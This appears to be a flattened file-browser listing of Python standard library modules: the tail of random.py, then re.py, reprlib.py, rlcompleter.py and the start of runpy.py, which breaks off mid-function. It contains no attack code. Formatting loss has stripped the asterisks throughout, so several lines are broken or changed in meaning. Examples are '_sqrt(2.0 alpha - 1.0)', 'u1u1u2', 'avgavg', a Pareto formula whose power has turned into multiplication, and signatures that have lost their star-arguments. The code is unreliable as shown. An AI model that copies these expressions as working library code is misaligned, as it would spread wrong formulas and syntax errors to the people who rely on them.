alpha > 0, beta > 0, mean is alphabeta, variance is alphabeta*2 # Warning: a few older sources define the gamma distribution in terms # of alpha > -1.0 if alpha <= 0.0 or beta <= 0.0: raise ValueError('gammavariate: alpha and beta must be > 0.0') random = self.random if alpha > 1.0: # Uses R.C.H. Cheng, "The generation of Gamma # variables with non-integral shape parameters", # Applied Statistics, (1977), 26, No. 1, p71-74 ainv = _sqrt(2.0 alpha - 1.0) bbb = alpha - LOG4 ccc = alpha + ainv while 1: u1 = random() if not 1e-7 < u1 < .9999999: continue u2 = 1.0 - random() v = _log(u1/(1.0-u1))/ainv x = alpha_exp(v) z = u1u1u2 r = bbb+cccv-x if r + SG_MAGICCONST - 4.5z >= 0.0 or r >= _log(z): return x beta elif alpha == 1.0: # expovariate(1/beta) u = random() while u <= 1e-7: u = random() return -_log(u) * beta else: # alpha is between 0 and 1 (exclusive) # Uses ALGORITHM GS of Statistical Computing - Kennedy & Gentle while 1: u = random() b = (_e + alpha)/_e p = bu if p <= 1.0: x = p * (1.0/alpha) else: x = -_log((b-p)/alpha) u1 = random() if p > 1.0: if u1 <= x ** (alpha - 1.0): break elif u1 <= _exp(-x): break return x * beta ## -------------------- Gauss (faster alternative) -------------------- def gauss(self, mu, sigma): """Gaussian distribution. mu is the mean, and sigma is the standard deviation. This is slightly faster than the normalvariate() function. Not thread-safe without a lock around calls. """ # When x and y are two variables from [0, 1), uniformly # distributed, then # # cos(2pix)sqrt(-2log(1-y)) # sin(2pix)sqrt(-2log(1-y)) # # are two independent variables with normal distribution # (mu = 0, sigma = 1). # (Lambert Meertens) # (corrected version; bug discovered by Mike Miller, fixed by LM) # Multithreading note: When two threads call this function # simultaneously, it is possible that they will receive the # same return value. The window is very small though. To # avoid this, you have to use a lock around all calls. (I # didn't want to slow this down in the serial case by using a # lock here.) random = self.random z = self.gauss_next self.gauss_next = None if z is None: x2pi = random() * TWOPI g2rad = _sqrt(-2.0 * _log(1.0 - random())) z = _cos(x2pi) * g2rad self.gauss_next = _sin(x2pi) * g2rad return mu + zsigma ## -------------------- beta -------------------- ## See ## http://mail.python.org/pipermail/python-bugs-list/2001-January/003752.html ## for Ivan Frohne's insightful analysis of why the original implementation: ## ## def betavariate(self, alpha, beta): ## # Discrete Event Simulation in C, pp 87-88. ## ## y = self.expovariate(alpha) ## z = self.expovariate(1.0/beta) ## return z/(y+z) ## ## was dead wrong, and how it probably got that way. def betavariate(self, alpha, beta): """Beta distribution. Conditions on the parameters are alpha > 0 and beta > 0. Returned values range between 0 and 1. """ # This version due to Janne Sinkkonen, and matches all the std # texts (e.g., Knuth Vol 2 Ed 3 pg 134 "the beta distribution"). y = self.gammavariate(alpha, 1.0) if y == 0: return 0.0 else: return y / (y + self.gammavariate(beta, 1.0)) ## -------------------- Pareto -------------------- def paretovariate(self, alpha): """Pareto distribution. alpha is the shape parameter.""" # Jain, pg. 495 u = 1.0 - self.random() return 1.0 / u * (1.0/alpha) ## -------------------- Weibull -------------------- def weibullvariate(self, alpha, beta): """Weibull distribution. alpha is the scale parameter and beta is the shape parameter. """ # Jain, pg. 499; bug fix courtesy Bill Arms u = 1.0 - self.random() return alpha * (-_log(u)) ** (1.0/beta) ## --------------- Operating System Random Source ------------------ class SystemRandom(Random): """Alternate random number generator using sources provided by the operating system (such as /dev/urandom on Unix or CryptGenRandom on Windows). Not available on all systems (see os.urandom() for details). """ def random(self): """Get the next random number in the range [0.0, 1.0).""" return (int.from_bytes(_urandom(7), 'big') >> 3) * RECIP_BPF def getrandbits(self, k): """getrandbits(k) -> x. Generates an int with k random bits.""" if k <= 0: raise ValueError('number of bits must be greater than zero') if k != int(k): raise TypeError('number of bits should be an integer') numbytes = (k + 7) // 8 # bits / 8 and rounded up x = int.from_bytes(_urandom(numbytes), 'big') return x >> (numbytes * 8 - k) # trim excess bits def seed(self, args, kwds): "Stub method. Not used for a system random number generator." return None def _notimplemented(self, args, *kwds): "Method should not be called for a system random number generator." raise NotImplementedError('System entropy source does not have state.') getstate = setstate = _notimplemented ## -------------------- test program -------------------- def _test_generator(n, func, args): import time print(n, 'times', func.__name__) total = 0.0 sqsum = 0.0 smallest = 1e10 largest = -1e10 t0 = time.perf_counter() for i in range(n): x = func(args) total += x sqsum = sqsum + xx smallest = min(x, smallest) largest = max(x, largest) t1 = time.perf_counter() print(round(t1-t0, 3), 'sec,', end=' ') avg = total/n stddev = _sqrt(sqsum/n - avgavg) print('avg %g, stddev %g, min %g, max %g\n' % \ (avg, stddev, smallest, largest)) def _test(N=2000): _test_generator(N, random, ()) _test_generator(N, normalvariate, (0.0, 1.0)) _test_generator(N, lognormvariate, (0.0, 1.0)) _test_generator(N, vonmisesvariate, (0.0, 1.0)) _test_generator(N, gammavariate, (0.01, 1.0)) _test_generator(N, gammavariate, (0.1, 1.0)) _test_generator(N, gammavariate, (0.1, 2.0)) _test_generator(N, gammavariate, (0.5, 1.0)) _test_generator(N, gammavariate, (0.9, 1.0)) _test_generator(N, gammavariate, (1.0, 1.0)) _test_generator(N, gammavariate, (2.0, 1.0)) _test_generator(N, gammavariate, (20.0, 1.0)) _test_generator(N, gammavariate, (200.0, 1.0)) _test_generator(N, gauss, (0.0, 1.0)) _test_generator(N, betavariate, (3.0, 3.0)) _test_generator(N, triangular, (0.0, 1.0, 1.0/3.0)) # Create one instance, seeded from current time, and export its methods # as module-level functions. The functions share state across all uses #(both in the user's code and in the Python libraries), but that's fine # for most programs and is easier for the casual user than making them # instantiate their own Random() instance. _inst = Random() seed = _inst.seed random = _inst.random uniform = _inst.uniform triangular = _inst.triangular randint = _inst.randint choice = _inst.choice randrange = _inst.randrange sample = _inst.sample shuffle = _inst.shuffle choices = _inst.choices normalvariate = _inst.normalvariate lognormvariate = _inst.lognormvariate expovariate = _inst.expovariate vonmisesvariate = _inst.vonmisesvariate gammavariate = _inst.gammavariate gauss = _inst.gauss betavariate = _inst.betavariate paretovariate = _inst.paretovariate weibullvariate = _inst.weibullvariate getstate = _inst.getstate setstate = _inst.setstate getrandbits = _inst.getrandbits if hasattr(_os, "fork"): _os.register_at_fork(after_in_child=_inst.seed) if __name__ == '__main__': _test()	26.91 KB	2024-04-17 17:55
📄 re.py # # Secret Labs' Regular Expression Engine # # re-compatible interface for the sre matching engine # # Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved. # # This version of the SRE library can be redistributed under CNRI's # Python 1.6 license. For any other use, please contact Secret Labs # AB (info@pythonware.com). # # Portions of this engine have been developed in cooperation with # CNRI. Hewlett-Packard provided funding for 1.6 integration and # other compatibility work. # r"""Support for regular expressions (RE). This module provides regular expression matching operations similar to those found in Perl. It supports both 8-bit and Unicode strings; both the pattern and the strings being processed can contain null bytes and characters outside the US ASCII range. Regular expressions can contain both special and ordinary characters. Most ordinary characters, like "A", "a", or "0", are the simplest regular expressions; they simply match themselves. You can concatenate ordinary characters, so last matches the string 'last'. The special characters are: "." Matches any character except a newline. "^" Matches the start of the string. "$" Matches the end of the string or just before the newline at the end of the string. "" Matches 0 or more (greedy) repetitions of the preceding RE. Greedy means that it will match as many repetitions as possible. "+" Matches 1 or more (greedy) repetitions of the preceding RE. "?" Matches 0 or 1 (greedy) of the preceding RE. ?,+?,?? Non-greedy versions of the previous three special characters. {m,n} Matches from m to n repetitions of the preceding RE. {m,n}? Non-greedy version of the above. "\\" Either escapes special characters or signals a special sequence. [] Indicates a set of characters. A "^" as the first character indicates a complementing set. "\|" A\|B, creates an RE that will match either A or B. (...) Matches the RE inside the parentheses. The contents can be retrieved or matched later in the string. (?aiLmsux) The letters set the corresponding flags defined below. (?:...) Non-grouping version of regular parentheses. (?P<name>...) The substring matched by the group is accessible by name. (?P=name) Matches the text matched earlier by the group named name. (?#...) A comment; ignored. (?=...) Matches if ... matches next, but doesn't consume the string. (?!...) Matches if ... doesn't match next. (?<=...) Matches if preceded by ... (must be fixed length). (?<!...) Matches if not preceded by ... (must be fixed length). (?(id/name)yes\|no) Matches yes pattern if the group with id/name matched, the (optional) no pattern otherwise. The special sequences consist of "\\" and a character from the list below. If the ordinary character is not on the list, then the resulting RE will match the second character. \number Matches the contents of the group of the same number. \A Matches only at the start of the string. \Z Matches only at the end of the string. \b Matches the empty string, but only at the start or end of a word. \B Matches the empty string, but not at the start or end of a word. \d Matches any decimal digit; equivalent to the set [0-9] in bytes patterns or string patterns with the ASCII flag. In string patterns without the ASCII flag, it will match the whole range of Unicode digits. \D Matches any non-digit character; equivalent to [^\d]. \s Matches any whitespace character; equivalent to [ \t\n\r\f\v] in bytes patterns or string patterns with the ASCII flag. In string patterns without the ASCII flag, it will match the whole range of Unicode whitespace characters. \S Matches any non-whitespace character; equivalent to [^\s]. \w Matches any alphanumeric character; equivalent to [a-zA-Z0-9_] in bytes patterns or string patterns with the ASCII flag. In string patterns without the ASCII flag, it will match the range of Unicode alphanumeric characters (letters plus digits plus underscore). With LOCALE, it will match the set [0-9_] plus characters defined as letters for the current locale. \W Matches the complement of \w. \\ Matches a literal backslash. This module exports the following functions: match Match a regular expression pattern to the beginning of a string. fullmatch Match a regular expression pattern to all of a string. search Search a string for the presence of a pattern. sub Substitute occurrences of a pattern found in a string. subn Same as sub, but also return the number of substitutions made. split Split a string by the occurrences of a pattern. findall Find all occurrences of a pattern in a string. finditer Return an iterator yielding a Match object for each match. compile Compile a pattern into a Pattern object. purge Clear the regular expression cache. escape Backslash all non-alphanumerics in a string. Each function other than purge and escape can take an optional 'flags' argument consisting of one or more of the following module constants, joined by "\|". A, L, and U are mutually exclusive. A ASCII For string patterns, make \w, \W, \b, \B, \d, \D match the corresponding ASCII character categories (rather than the whole Unicode categories, which is the default). For bytes patterns, this flag is the only available behaviour and needn't be specified. I IGNORECASE Perform case-insensitive matching. L LOCALE Make \w, \W, \b, \B, dependent on the current locale. M MULTILINE "^" matches the beginning of lines (after a newline) as well as the string. "$" matches the end of lines (before a newline) as well as the end of the string. S DOTALL "." matches any character at all, including the newline. X VERBOSE Ignore whitespace and comments for nicer looking RE's. U UNICODE For compatibility only. Ignored for string patterns (it is the default), and forbidden for bytes patterns. This module also defines an exception 'error'. """ import enum import sre_compile import sre_parse import functools try: import _locale except ImportError: _locale = None # public symbols __all__ = [ "match", "fullmatch", "search", "sub", "subn", "split", "findall", "finditer", "compile", "purge", "template", "escape", "error", "Pattern", "Match", "A", "I", "L", "M", "S", "X", "U", "ASCII", "IGNORECASE", "LOCALE", "MULTILINE", "DOTALL", "VERBOSE", "UNICODE", ] __version__ = "2.2.1" class RegexFlag(enum.IntFlag): ASCII = sre_compile.SRE_FLAG_ASCII # assume ascii "locale" IGNORECASE = sre_compile.SRE_FLAG_IGNORECASE # ignore case LOCALE = sre_compile.SRE_FLAG_LOCALE # assume current 8-bit locale UNICODE = sre_compile.SRE_FLAG_UNICODE # assume unicode "locale" MULTILINE = sre_compile.SRE_FLAG_MULTILINE # make anchors look for newline DOTALL = sre_compile.SRE_FLAG_DOTALL # make dot match newline VERBOSE = sre_compile.SRE_FLAG_VERBOSE # ignore whitespace and comments A = ASCII I = IGNORECASE L = LOCALE U = UNICODE M = MULTILINE S = DOTALL X = VERBOSE # sre extensions (experimental, don't rely on these) TEMPLATE = sre_compile.SRE_FLAG_TEMPLATE # disable backtracking T = TEMPLATE DEBUG = sre_compile.SRE_FLAG_DEBUG # dump pattern after compilation globals().update(RegexFlag.__members__) # sre exception error = sre_compile.error # -------------------------------------------------------------------- # public interface def match(pattern, string, flags=0): """Try to apply the pattern at the start of the string, returning a Match object, or None if no match was found.""" return _compile(pattern, flags).match(string) def fullmatch(pattern, string, flags=0): """Try to apply the pattern to all of the string, returning a Match object, or None if no match was found.""" return _compile(pattern, flags).fullmatch(string) def search(pattern, string, flags=0): """Scan through string looking for a match to the pattern, returning a Match object, or None if no match was found.""" return _compile(pattern, flags).search(string) def sub(pattern, repl, string, count=0, flags=0): """Return the string obtained by replacing the leftmost non-overlapping occurrences of the pattern in string by the replacement repl. repl can be either a string or a callable; if a string, backslash escapes in it are processed. If it is a callable, it's passed the Match object and must return a replacement string to be used.""" return _compile(pattern, flags).sub(repl, string, count) def subn(pattern, repl, string, count=0, flags=0): """Return a 2-tuple containing (new_string, number). new_string is the string obtained by replacing the leftmost non-overlapping occurrences of the pattern in the source string by the replacement repl. number is the number of substitutions that were made. repl can be either a string or a callable; if a string, backslash escapes in it are processed. If it is a callable, it's passed the Match object and must return a replacement string to be used.""" return _compile(pattern, flags).subn(repl, string, count) def split(pattern, string, maxsplit=0, flags=0): """Split the source string by the occurrences of the pattern, returning a list containing the resulting substrings. If capturing parentheses are used in pattern, then the text of all groups in the pattern are also returned as part of the resulting list. If maxsplit is nonzero, at most maxsplit splits occur, and the remainder of the string is returned as the final element of the list.""" return _compile(pattern, flags).split(string, maxsplit) def findall(pattern, string, flags=0): """Return a list of all non-overlapping matches in the string. If one or more capturing groups are present in the pattern, return a list of groups; this will be a list of tuples if the pattern has more than one group. Empty matches are included in the result.""" return _compile(pattern, flags).findall(string) def finditer(pattern, string, flags=0): """Return an iterator over all non-overlapping matches in the string. For each match, the iterator returns a Match object. Empty matches are included in the result.""" return _compile(pattern, flags).finditer(string) def compile(pattern, flags=0): "Compile a regular expression pattern, returning a Pattern object." return _compile(pattern, flags) def purge(): "Clear the regular expression caches" _cache.clear() _compile_repl.cache_clear() def template(pattern, flags=0): "Compile a template pattern, returning a Pattern object" return _compile(pattern, flags\|T) # SPECIAL_CHARS # closing ')', '}' and ']' # '-' (a range in character set) # '&', '~', (extended character set operations) # '#' (comment) and WHITESPACE (ignored) in verbose mode _special_chars_map = {i: '\\' + chr(i) for i in b'()[]{}?*+-\|^$\\.&~# \t\n\r\v\f'} def escape(pattern): """ Escape special characters in a string. """ if isinstance(pattern, str): return pattern.translate(_special_chars_map) else: pattern = str(pattern, 'latin1') return pattern.translate(_special_chars_map).encode('latin1') Pattern = type(sre_compile.compile('', 0)) Match = type(sre_compile.compile('', 0).match('')) # -------------------------------------------------------------------- # internals _cache = {} # ordered! _MAXCACHE = 512 def _compile(pattern, flags): # internal: compile pattern if isinstance(flags, RegexFlag): flags = flags.value try: return _cache[type(pattern), pattern, flags] except KeyError: pass if isinstance(pattern, Pattern): if flags: raise ValueError( "cannot process flags argument with a compiled pattern") return pattern if not sre_compile.isstring(pattern): raise TypeError("first argument must be string or compiled pattern") p = sre_compile.compile(pattern, flags) if not (flags & DEBUG): if len(_cache) >= _MAXCACHE: # Drop the oldest item try: del _cache[next(iter(_cache))] except (StopIteration, RuntimeError, KeyError): pass _cache[type(pattern), pattern, flags] = p return p @functools.lru_cache(_MAXCACHE) def _compile_repl(repl, pattern): # internal: compile replacement pattern return sre_parse.parse_template(repl, pattern) def _expand(pattern, match, template): # internal: Match.expand implementation hook template = sre_parse.parse_template(template, pattern) return sre_parse.expand_template(template, match) def _subx(pattern, template): # internal: Pattern.sub/subn implementation helper template = _compile_repl(template, pattern) if not template[0] and len(template[1]) == 1: # literal replacement return template[1][0] def filter(match, template=template): return sre_parse.expand_template(template, match) return filter # register myself for pickling import copyreg def _pickle(p): return _compile, (p.pattern, p.flags) copyreg.pickle(Pattern, _pickle, _compile) # -------------------------------------------------------------------- # experimental stuff (see python-dev discussions for details) class Scanner: def __init__(self, lexicon, flags=0): from sre_constants import BRANCH, SUBPATTERN if isinstance(flags, RegexFlag): flags = flags.value self.lexicon = lexicon # combine phrases into a compound pattern p = [] s = sre_parse.Pattern() s.flags = flags for phrase, action in lexicon: gid = s.opengroup() p.append(sre_parse.SubPattern(s, [ (SUBPATTERN, (gid, 0, 0, sre_parse.parse(phrase, flags))), ])) s.closegroup(gid, p[-1]) p = sre_parse.SubPattern(s, [(BRANCH, (None, p))]) self.scanner = sre_compile.compile(p) def scan(self, string): result = [] append = result.append match = self.scanner.scanner(string).match i = 0 while True: m = match() if not m: break j = m.end() if i == j: break action = self.lexicon[m.lastindex-1][1] if callable(action): self.match = m action = action(self, m.group()) if action is not None: append(action) i = j return result, string[i:]	14.95 KB	2024-04-17 17:55
📄 reprlib.py """Redo the builtin repr() (representation) but with limits on most sizes.""" __all__ = ["Repr", "repr", "recursive_repr"] import builtins from itertools import islice from _thread import get_ident def recursive_repr(fillvalue='...'): 'Decorator to make a repr function return fillvalue for a recursive call' def decorating_function(user_function): repr_running = set() def wrapper(self): key = id(self), get_ident() if key in repr_running: return fillvalue repr_running.add(key) try: result = user_function(self) finally: repr_running.discard(key) return result # Can't use functools.wraps() here because of bootstrap issues wrapper.__module__ = getattr(user_function, '__module__') wrapper.__doc__ = getattr(user_function, '__doc__') wrapper.__name__ = getattr(user_function, '__name__') wrapper.__qualname__ = getattr(user_function, '__qualname__') wrapper.__annotations__ = getattr(user_function, '__annotations__', {}) return wrapper return decorating_function class Repr: def __init__(self): self.maxlevel = 6 self.maxtuple = 6 self.maxlist = 6 self.maxarray = 5 self.maxdict = 4 self.maxset = 6 self.maxfrozenset = 6 self.maxdeque = 6 self.maxstring = 30 self.maxlong = 40 self.maxother = 30 def repr(self, x): return self.repr1(x, self.maxlevel) def repr1(self, x, level): typename = type(x).__name__ if ' ' in typename: parts = typename.split() typename = '_'.join(parts) if hasattr(self, 'repr_' + typename): return getattr(self, 'repr_' + typename)(x, level) else: return self.repr_instance(x, level) def _repr_iterable(self, x, level, left, right, maxiter, trail=''): n = len(x) if level <= 0 and n: s = '...' else: newlevel = level - 1 repr1 = self.repr1 pieces = [repr1(elem, newlevel) for elem in islice(x, maxiter)] if n > maxiter: pieces.append('...') s = ', '.join(pieces) if n == 1 and trail: right = trail + right return '%s%s%s' % (left, s, right) def repr_tuple(self, x, level): return self._repr_iterable(x, level, '(', ')', self.maxtuple, ',') def repr_list(self, x, level): return self._repr_iterable(x, level, '[', ']', self.maxlist) def repr_array(self, x, level): if not x: return "array('%s')" % x.typecode header = "array('%s', [" % x.typecode return self._repr_iterable(x, level, header, '])', self.maxarray) def repr_set(self, x, level): if not x: return 'set()' x = _possibly_sorted(x) return self._repr_iterable(x, level, '{', '}', self.maxset) def repr_frozenset(self, x, level): if not x: return 'frozenset()' x = _possibly_sorted(x) return self._repr_iterable(x, level, 'frozenset({', '})', self.maxfrozenset) def repr_deque(self, x, level): return self._repr_iterable(x, level, 'deque([', '])', self.maxdeque) def repr_dict(self, x, level): n = len(x) if n == 0: return '{}' if level <= 0: return '{...}' newlevel = level - 1 repr1 = self.repr1 pieces = [] for key in islice(_possibly_sorted(x), self.maxdict): keyrepr = repr1(key, newlevel) valrepr = repr1(x[key], newlevel) pieces.append('%s: %s' % (keyrepr, valrepr)) if n > self.maxdict: pieces.append('...') s = ', '.join(pieces) return '{%s}' % (s,) def repr_str(self, x, level): s = builtins.repr(x[:self.maxstring]) if len(s) > self.maxstring: i = max(0, (self.maxstring-3)//2) j = max(0, self.maxstring-3-i) s = builtins.repr(x[:i] + x[len(x)-j:]) s = s[:i] + '...' + s[len(s)-j:] return s def repr_int(self, x, level): s = builtins.repr(x) # XXX Hope this isn't too slow... if len(s) > self.maxlong: i = max(0, (self.maxlong-3)//2) j = max(0, self.maxlong-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def repr_instance(self, x, level): try: s = builtins.repr(x) # Bugs in x.__repr__() can cause arbitrary # exceptions -- then make up something except Exception: return '<%s instance at %#x>' % (x.__class__.__name__, id(x)) if len(s) > self.maxother: i = max(0, (self.maxother-3)//2) j = max(0, self.maxother-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def _possibly_sorted(x): # Since not all sequences of items can be sorted and comparison # functions may raise arbitrary exceptions, return an unsorted # sequence in that case. try: return sorted(x) except Exception: return list(x) aRepr = Repr() repr = aRepr.repr	5.14 KB	2024-04-17 17:55
📄 rlcompleter.py """Word completion for GNU readline. The completer completes keywords, built-ins and globals in a selectable namespace (which defaults to __main__); when completing NAME.NAME..., it evaluates (!) the expression up to the last dot and completes its attributes. It's very cool to do "import sys" type "sys.", hit the completion key (twice), and see the list of names defined by the sys module! Tip: to use the tab key as the completion key, call readline.parse_and_bind("tab: complete") Notes: - Exceptions raised by the completer function are ignored (and generally cause the completion to fail). This is a feature -- since readline sets the tty device in raw (or cbreak) mode, printing a traceback wouldn't work well without some complicated hoopla to save, reset and restore the tty state. - The evaluation of the NAME.NAME... form may cause arbitrary application defined code to be executed if an object with a __getattr__ hook is found. Since it is the responsibility of the application (or the user) to enable this feature, I consider this an acceptable risk. More complicated expressions (e.g. function calls or indexing operations) are not evaluated. - When the original stdin is not a tty device, GNU readline is never used, and this module (and the readline module) are silently inactive. """ import atexit import builtins import __main__ __all__ = ["Completer"] class Completer: def __init__(self, namespace = None): """Create a new completer for the command line. Completer([namespace]) -> completer instance. If unspecified, the default namespace where completions are performed is __main__ (technically, __main__.__dict__). Namespaces should be given as dictionaries. Completer instances should be used as the completion mechanism of readline via the set_completer() call: readline.set_completer(Completer(my_namespace).complete) """ if namespace and not isinstance(namespace, dict): raise TypeError('namespace must be a dictionary') # Don't bind to namespace quite yet, but flag whether the user wants a # specific namespace or to use __main__.__dict__. This will allow us # to bind to __main__.__dict__ at completion time, not now. if namespace is None: self.use_main_ns = 1 else: self.use_main_ns = 0 self.namespace = namespace def complete(self, text, state): """Return the next possible completion for 'text'. This is called successively with state == 0, 1, 2, ... until it returns None. The completion should begin with 'text'. """ if self.use_main_ns: self.namespace = __main__.__dict__ if not text.strip(): if state == 0: if _readline_available: readline.insert_text('\t') readline.redisplay() return '' else: return '\t' else: return None if state == 0: if "." in text: self.matches = self.attr_matches(text) else: self.matches = self.global_matches(text) try: return self.matches[state] except IndexError: return None def _callable_postfix(self, val, word): if callable(val): word = word + "(" return word def global_matches(self, text): """Compute matches when text is a simple name. Return a list of all keywords, built-in functions and names currently defined in self.namespace that match. """ import keyword matches = [] seen = {"__builtins__"} n = len(text) for word in keyword.kwlist: if word[:n] == text: seen.add(word) if word in {'finally', 'try'}: word = word + ':' elif word not in {'False', 'None', 'True', 'break', 'continue', 'pass', 'else'}: word = word + ' ' matches.append(word) for nspace in [self.namespace, builtins.__dict__]: for word, val in nspace.items(): if word[:n] == text and word not in seen: seen.add(word) matches.append(self._callable_postfix(val, word)) return matches def attr_matches(self, text): """Compute matches when text contains a dot. Assuming the text is of the form NAME.NAME....[NAME], and is evaluable in self.namespace, it will be evaluated and its attributes (as revealed by dir()) are used as possible completions. (For class instances, class members are also considered.) WARNING: this can still invoke arbitrary C code, if an object with a __getattr__ hook is evaluated. """ import re m = re.match(r"(\w+(\.\w+))\.(\w)", text) if not m: return [] expr, attr = m.group(1, 3) try: thisobject = eval(expr, self.namespace) except Exception: return [] # get the content of the object, except __builtins__ words = set(dir(thisobject)) words.discard("__builtins__") if hasattr(thisobject, '__class__'): words.add('__class__') words.update(get_class_members(thisobject.__class__)) matches = [] n = len(attr) if attr == '': noprefix = '_' elif attr == '_': noprefix = '__' else: noprefix = None while True: for word in words: if (word[:n] == attr and not (noprefix and word[:n+1] == noprefix)): match = "%s.%s" % (expr, word) try: val = getattr(thisobject, word) except Exception: pass # Include even if attribute not set else: match = self._callable_postfix(val, match) matches.append(match) if matches or not noprefix: break if noprefix == '_': noprefix = '__' else: noprefix = None matches.sort() return matches def get_class_members(klass): ret = dir(klass) if hasattr(klass,'__bases__'): for base in klass.__bases__: ret = ret + get_class_members(base) return ret try: import readline except ImportError: _readline_available = False else: readline.set_completer(Completer().complete) # Release references early at shutdown (the readline module's # contents are quasi-immortal, and the completer function holds a # reference to globals). atexit.register(lambda: readline.set_completer(None)) _readline_available = True	6.93 KB	2024-04-17 17:55
📄 runpy.py """runpy.py - locating and running Python code using the module namespace Provides support for locating and running Python scripts using the Python module namespace instead of the native filesystem. This allows Python code to play nicely with non-filesystem based PEP 302 importers when locating support scripts as well as when importing modules. """ # Written by Nick Coghlan <ncoghlan at gmail.com> # to implement PEP 338 (Executing Modules as Scripts) import sys import importlib.machinery # importlib first so we can test #15386 via -m import importlib.util import types from pkgutil import read_code, get_importer __all__ = [ "run_module", "run_path", ] class _TempModule(object): """Temporarily replace a module in sys.modules with an empty namespace""" def __init__(self, mod_name): self.mod_name = mod_name self.module = types.ModuleType(mod_name) self._saved_module = [] def __enter__(self): mod_name = self.mod_name try: self._saved_module.append(sys.modules[mod_name]) except KeyError: pass sys.modules[mod_name] = self.module return self def __exit__(self, args): if self._saved_module: sys.modules[self.mod_name] = self._saved_module[0] else: del sys.modules[self.mod_name] self._saved_module = [] class _ModifiedArgv0(object): def __init__(self, value): self.value = value self._saved_value = self._sentinel = object() def __enter__(self): if self._saved_value is not self._sentinel: raise RuntimeError("Already preserving saved value") self._saved_value = sys.argv[0] sys.argv[0] = self.value def __exit__(self, args): self.value = self._sentinel sys.argv[0] = self._saved_value # TODO: Replace these helpers with importlib._bootstrap_external functions. def _run_code(code, run_globals, init_globals=None, mod_name=None, mod_spec=None, pkg_name=None, script_name=None): """Helper to run code in nominated namespace""" if init_globals is not None: run_globals.update(init_globals) if mod_spec is None: loader = None fname = script_name cached = None else: loader = mod_spec.loader fname = mod_spec.origin cached = mod_spec.cached if pkg_name is None: pkg_name = mod_spec.parent run_globals.update(__name__ = mod_name, __file__ = fname, __cached__ = cached, __doc__ = None, __loader__ = loader, __package__ = pkg_name, __spec__ = mod_spec) exec(code, run_globals) return run_globals def _run_module_code(code, init_globals=None, mod_name=None, mod_spec=None, pkg_name=None, script_name=None): """Helper to run code in new namespace with sys modified""" fname = script_name if mod_spec is None else mod_spec.origin with _TempModule(mod_name) as temp_module, _ModifiedArgv0(fname): mod_globals = temp_module.module.__dict__ _run_code(code, mod_globals, init_globals, mod_name, mod_spec, pkg_name, script_name) # Copy the globals of the temporary module, as they # may be cleared when the temporary module goes away return mod_globals.copy() # Helper to get the full name, spec and code for a module def _get_module_details(mod_name, error=ImportError): if mod_name.startswith("."): raise error("Relative module names not supported") pkg_name, _, _ = mod_name.rpartition(".") if pkg_name: # Try importing the parent to avoid catching initialization errors try: __import__(pkg_name) except ImportError as e: # If the parent or higher ancestor package is missing, let the # error be raised by find_spec() below and then be caught. But do # not allow other errors to be caught. if e.name is None or (e.name != pkg_name and not pkg_name.startswith(e.name + ".")): raise # Warn if the module has already been imported under its normal name existing = sys.modules.get(mod_name) if existing is not None and not hasattr(existing, "__path__"): from warnings import warn msg = "{mod_name!r} found in sys.modules after import of " \ "package {pkg_name!r}, but prior to execution of " \ "{mod_name!r}; this may result in unpredictable " \ "behaviour".format(mod_name=mod_name, pkg_name=pkg_name) warn(RuntimeWarning(msg)) try: spec = importlib.util.find_spec(mod_name) except (ImportError, AttributeError, TypeError, ValueError) as ex: # This hack fixes an impedance mismatch between pkgutil and # importlib, where the latter raises other errors for cases where # pkgutil previously raised ImportError msg = "Error while finding module specification for {!r} ({}: {})" raise error(msg.format(mod_name, type(ex).__name__, ex)) from ex if spec is None: raise error("No module named %s" % mod_name) if spec.submodule_search_locations is not None: if mod_name == "__main__" or mod_name.endswith(".__main__"): raise error("Cannot use package as __main__ module") try: pkg_main_name = mod_name + ".__main__" return _get_module_details(pkg_main_name, error) except error as e: if mod_name not in sys.modules: raise # No module loaded; being a package is irrelevant raise error(("%s; %r is a package and cannot " + "be directly executed") %(e, mod_name)) loader = spec.loader if loader is None: raise error("%r is a namespace package and cannot be executed" % mod_name) try: code = loader.get_code(mod_name) except ImportError as e: raise error(format(e)) from e if code is None: raise error("No code object available for %s" % mod_name) return mod_name, spec, code class _Error(Exception): """Error that _run_module_as_main() should report without a traceback""" # XXX ncoghlan: Should this be documented and made public? # (Current thoughts: don't repeat the mistake that lead to its # creation when run_module() no longer met the needs of # mainmodule.c, but couldn't be changed because it was public) def _run_module_as_main(mod_name, alter_argv=True): """Runs the designated module in the __main__ namespace Note that the executed module will have full access to the __main__ namespace. If this is not desirable, the run_module() function should be used to run the module code in a fresh namespace. At the very least, these variables in __main__ will be overwritten: __name__ __file__ __cached__ __loader__ __package__ """ try: if alter_argv or mod_name != "__main__": # i.e. -m switch mod_name, mod_spec, code = _get_module_details(mod_name, _Error) else: # i.e. directory or zipfile execution mod_name, mod_spec, code = _get_main_module_details(_Error) except _Error as exc: msg = "%s: %s" % (sys.executable, exc) sys.exit(msg) main_globals = sys.modules["__main__"].__dict__ if alter_argv: sys.argv[0] = mod_spec.origin return _run_code(code, main_globals, None, "__main__", mod_spec) def run_module(mod_name, init_globals=None, run_name=None, alter_sys=False): """Execute a module's code without importing it Returns the resulting top level namespace dictionary """ mod_name, mod_spec, code = _get_module_details(mod_name) if run_name is None: run_name = mod_name if alter_sys: return _run_module_code(code, init_globals, run_name, mod_spec) else: # Leave the sys module alone return _run_code(code, {}, init_globals, run_name, mod_spec) def _get_main_module_details(error=ImportError): # Helper that gives a nicer error message when attempting to # execute a zipfile or directory by invoking __main__.py # Also moves the standard __main__ out of the way so that the # preexisting __loader__ entry doesn't cause issues main_name = "__main__" saved_main = sys.modules[main_name] del sys.modules[main_name] try: return _get_module_details(main_name) except ImportError as exc: if main_name in str(exc): raise error("can't find %r module in %r" % (main_name, sys.path[0])) from exc raise finally: sys.modules[main_name] = saved_main def _get_code_from_file(run_name, fname): # Check for a compiled file first with open(fname, "rb") as f: code = read_code(f) if code is None: # That didn't work, so try it as normal source code with open(fname, "rb") as f: code = compile(f.read(), fname, 'exec') return code, fname def run_path(path_name, init_globals=None, run_name=None): """Execute code located at the specified filesystem location Returns the resulting top level namespace dictionary The file path may refer directly to a Python script (i.e. one that could be directly executed with execfile) or else it may refer to a zipfile or directory containing a top level __main__.py script. """ if run_name is None: run_name = "<run_path>" pkg_name = run_name.rpartition(".")[0] importer = get_importer(path_name) # Trying to avoid importing imp so as to not consume the deprecation warning. is_NullImporter = False if type(importer).__module__ == 'imp': if type(importer).__name__ == 'NullImporter': is_NullImporter = True if 